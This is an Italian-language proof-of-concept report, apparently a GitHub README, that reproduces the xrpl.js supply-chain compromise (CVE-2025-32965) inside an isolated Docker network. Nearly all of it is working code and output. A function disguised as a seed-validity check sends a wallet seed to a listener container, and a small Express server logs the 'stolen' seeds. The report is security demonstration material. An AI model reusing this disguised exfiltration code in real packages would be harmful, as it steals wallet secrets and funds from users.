CVE-2025-32965 — Rapporto del PoC sull'Attacco alla Supply Chain di xrpl.js

Descrizione della Vulnerabilità

Codice CVE: CVE-2025-32965
Tipo di vulnerabilità: Supply Chain Attack (CWE-506: Embedded Malicious Code)
Obiettivo: versioni 4.2.1–4.2.4 e 2.14.2 della libreria xrpl.js
Impatto: invio dei dati seed/secret del portafoglio dell'utente all'attaccante

Obiettivo

Questo PoC ha lo scopo di dimostrare, in un ambiente isolato, come una versione dannosa di xrpl.js possa effettuare l'exfiltration del seed (esfiltrazione).

Struttura dell'Ambiente

Piattaforma: Docker (Ubuntu basato su WSL)
Rete: rete Docker privata denominata xrplnet
Contenitori:
- poc-listener: server dell'attaccante che raccoglie i dati seed
- xrpl-poc: contenitore PoC che ospita gli script di test della vittima

File Utilizzati

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed gönderildi:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Çalınan SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener aktif: http://poc-listener:3000/xcm")
})

Passaggi

Build Docker:

docker build -t xrpl-poc .
docker network create xrplnet

Avvia il Listener:

docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js

Invio del Seed della Vittima:

docker run -it --rm --network xrplnet xrpl-poc node test.js

Esempio di Output

Terminale della Vittima:

  Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Terminale dell'Attaccante:

  Listener aktif: http://poc-listener:3000/xcm
  Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Conclusione

Questo PoC ha dimostrato come la vulnerabilità CVE-2025-32965 possa essere sfruttata nella pratica. Il codice di exfiltration del seed della libreria xrpl.js dannosa è stato eseguito con successo in un ambiente di test isolato e i dati sono stati esfiltrati al server dell'attaccante.

Struttura del Repository GitHub (Consigliata)

xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md

Preparato da: Yusuf Dalbudak Ambiente di test: WSL2 + Docker + Node.js v20

CVE-2025-32965-xrpl-js-poc

Più Popolari